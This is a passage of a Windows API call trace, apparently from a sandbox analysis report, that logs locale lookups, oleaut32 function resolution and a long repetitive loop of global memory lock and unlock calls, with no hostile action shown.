cchData=256 | out: lpLCData="Tue") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x19f118, cchData=256 | out: lpLCData="Tuesday") returned 8 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x19f118, cchData=256 | out: lpLCData="Wed") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x19f118, cchData=256 | out: lpLCData="Wednesday") returned 10 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x19f118, cchData=256 | out: lpLCData="Thu") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x19f118, cchData=256 | out: lpLCData="Thursday") returned 9 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x19f118, cchData=256 | out: lpLCData="Fri") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x19f118, cchData=256 | out: lpLCData="Friday") returned 7 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sat") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x19f118, cchData=256 | out: lpLCData="Saturday") returned 9 [0250.074] GetThreadLocale () returned 0x409 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x19f174, cchData=256 | out: lpLCData="$") returned 2 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x19f26c, cchData=2 | out: lpLCData=",") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x19f26c, cchData=2 | out: lpLCData=".") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x19f174, cchData=256 | out: lpLCData="2") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x19f26c, cchData=2 | out: lpLCData="/") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x19f174, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0250.230] GetThreadLocale () returned 0x409 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19f140, cchData=256 | out: lpLCData="1") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x19f174, cchData=256 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0250.230] GetThreadLocale () returned 0x409 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19f140, cchData=256 | out: lpLCData="1") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x19f26c, cchData=2 | out: lpLCData=":") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x19f174, cchData=256 | out: lpLCData="AM") returned 3 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x19f174, cchData=256 | out: lpLCData="PM") returned 3 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0250.230] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x19f26c, cchData=2 | out: lpLCData=",") returned 2 [0250.245] QueryPerformanceCounter (in: lpPerformanceCount=0x19f2c8 | out: lpPerformanceCount=0x19f2c8*=25354759931) returned 1 [0250.251] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x75bb0000 [0250.251] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantChangeTypeEx") returned 0x75bca610 [0250.251] GetProcAddress (hModule=0x75bb0000, lpProcName="VarNeg") returned 0x75c152c0 [0250.251] GetProcAddress (hModule=0x75bb0000, lpProcName="VarNot") returned 0x75c16560 [0250.252] GetProcAddress (hModule=0x75bb0000, lpProcName="VarAdd") returned 0x75bed610 [0250.252] GetProcAddress (hModule=0x75bb0000, lpProcName="VarSub") returned 0x75bee3e0 [0250.252] GetProcAddress (hModule=0x75bb0000, lpProcName="VarMul") returned 0x75bedb10 [0250.252] GetProcAddress (hModule=0x75bb0000, lpProcName="VarDiv") returned 0x75c15800 [0250.253] GetProcAddress (hModule=0x75bb0000, lpProcName="VarIdiv") returned 0x75c161a0 [0250.253] GetProcAddress (hModule=0x75bb0000, lpProcName="VarMod") returned 0x75c16400 [0250.253] GetProcAddress (hModule=0x75bb0000, lpProcName="VarAnd") returned 0x75be3200 [0250.253] GetProcAddress (hModule=0x75bb0000, lpProcName="VarOr") returned 0x75c16610 [0250.253] GetProcAddress (hModule=0x75bb0000, lpProcName="VarXor") returned 0x75c167b0 [0250.254] GetProcAddress (hModule=0x75bb0000, lpProcName="VarCmp") returned 0x75bd60b0 [0250.254] GetProcAddress (hModule=0x75bb0000, lpProcName="VarI4FromStr") returned 0x75bd6ec0 [0250.254] GetProcAddress (hModule=0x75bb0000, lpProcName="VarR4FromStr") returned 0x75be3010 [0250.254] GetProcAddress (hModule=0x75bb0000, lpProcName="VarR8FromStr") returned 0x75be3630 [0250.255] GetProcAddress (hModule=0x75bb0000, lpProcName="VarDateFromStr") returned 0x75bd8b90 [0250.255] GetProcAddress (hModule=0x75bb0000, lpProcName="VarCyFromStr") returned 0x75bc2d90 [0250.255] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBoolFromStr") returned 0x75bd48f0 [0250.255] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromCy") returned 0x75bd7f50 [0250.255] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromDate") returned 0x75bd89c0 [0250.256] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromBool") returned 0x75bd48a0 [0250.436] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.436] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.436] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.437] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.500] GlobalLock (hMem=0x3f4000c) returned 0x3ade748 [0250.500] GlobalHandle (pMem=0x3ade748) returned 0x3f4000c [0250.500] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.500] GlobalReAlloc (hMem=0x3f4000c, dwBytes=0x4000, uFlags=0x2) returned 0x3f4000c [0250.500] GlobalLock (hMem=0x3f4000c) returned 0x3ade748 [0250.500] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.500] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.501] GlobalHandle (pMem=0x3ade748) returned 0x3f4000c [0250.501] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.510] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.510] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.510] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.510] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.510] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.510] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.510] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.510] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.510] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.510] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.510] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.510] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.510] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.510] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.510] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.510] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.510] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.510] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.510] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.511] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.511] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.511] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.511] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.511] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.511] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.511] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.511] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.511] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.511] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.511] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.511] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.511] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.511] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.511] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.511] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.511] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.511] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.511] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.511] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.511] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.511] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.511] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.511] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.511] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.511] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.511] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.512] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.512] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.512] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.512] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.512] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.512] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.512] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.512] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.512] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.512] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.512] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.512] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.512] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.512] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.512] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.512] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.512] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.512] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.512] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.512] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.512] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.512] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.512] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.512] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.512] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.512] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.513] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.513] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.513] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.513] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.513] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.513] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.513] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.513] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x10, uFlags=0x2) returned 0x3f40004 [0250.513] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.513] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.513] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.513] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.513] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.513] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.513] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.513] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.513] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.513] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.513] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.513] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.513] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.513] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.514] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.514] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.514] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.514] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.514] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.514] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.514] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.514] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.514] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.514] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.514] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.514] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.514] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.514] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.514] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.514] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.514] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.514] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.514] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.514] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.514] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.514] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.514] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.514] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.514] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.514] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.515] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.515] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.515] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.515] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.515] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.515] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.515] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.515] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.515] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.515] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.515] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.515] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.515] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.515] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.515] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.515] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.515] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.515] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.515] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.515] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.515] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.515] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.515] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.515] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.516] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.516] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.516] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.516] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.516] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.516] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.516] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.516] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.516] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.516] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.516] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.516] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.516] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.516] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.516] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.516] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.516] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.516] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.516] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.516] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.516] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.516] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.516] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.516] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.516] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.516] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.516] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.516] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.516] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.517] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.517] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.517] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.517] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.517] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.517] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.517] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.517] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.517] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.517] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.517] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.517] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.517] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.517] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.517] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.517] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.517] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.517] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.517] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.517] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.517] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.517] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.517] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.517] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.517] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.517] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.517] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.517] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.517] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.518] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.518] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.518] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.518] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.518] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.518] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.518] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.518] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.518] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.518] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.518] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.518] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.518] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.518] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.518] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.518] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.518] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.518] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.518] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.518] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.518] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.518] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.518] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.518] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.518] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.518] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.518] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.518] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.518] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.519] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.519] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.519] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.519] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.519] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.519] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.519] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.519] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.519] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.519] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.519] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.519] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.519] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.519] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.519] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.519] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.519] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.519] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.519] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.519] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.519] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.519] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.519] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.519] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.519] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.519] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.519] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.519] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.520] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.520] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.520] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.520] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.520] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.520] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.520] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.520] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.520] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.520] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.520] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.520] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.520] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.520] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.520] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.520] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.520] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.520] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.520] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.520] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.520] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.520] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.520] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.520] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.520] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.520] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.520] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.520] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.521] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.521] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.521] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.521] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.521] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.521] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.521] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.521] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.521] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.521] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.521] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.521] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.521] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.521] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.521] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.521] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.521] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.521] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.521] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.521] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.521] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.521] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.521] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.521] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.521] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.521] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.521] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.522] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.522] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.522] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.522] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.522] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.522] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.522] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.522] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.522] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.522] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.522] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.522] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.522] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.522] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.522] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.522] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.522] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.522] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.522] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.522] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.522] GlobalUnlock 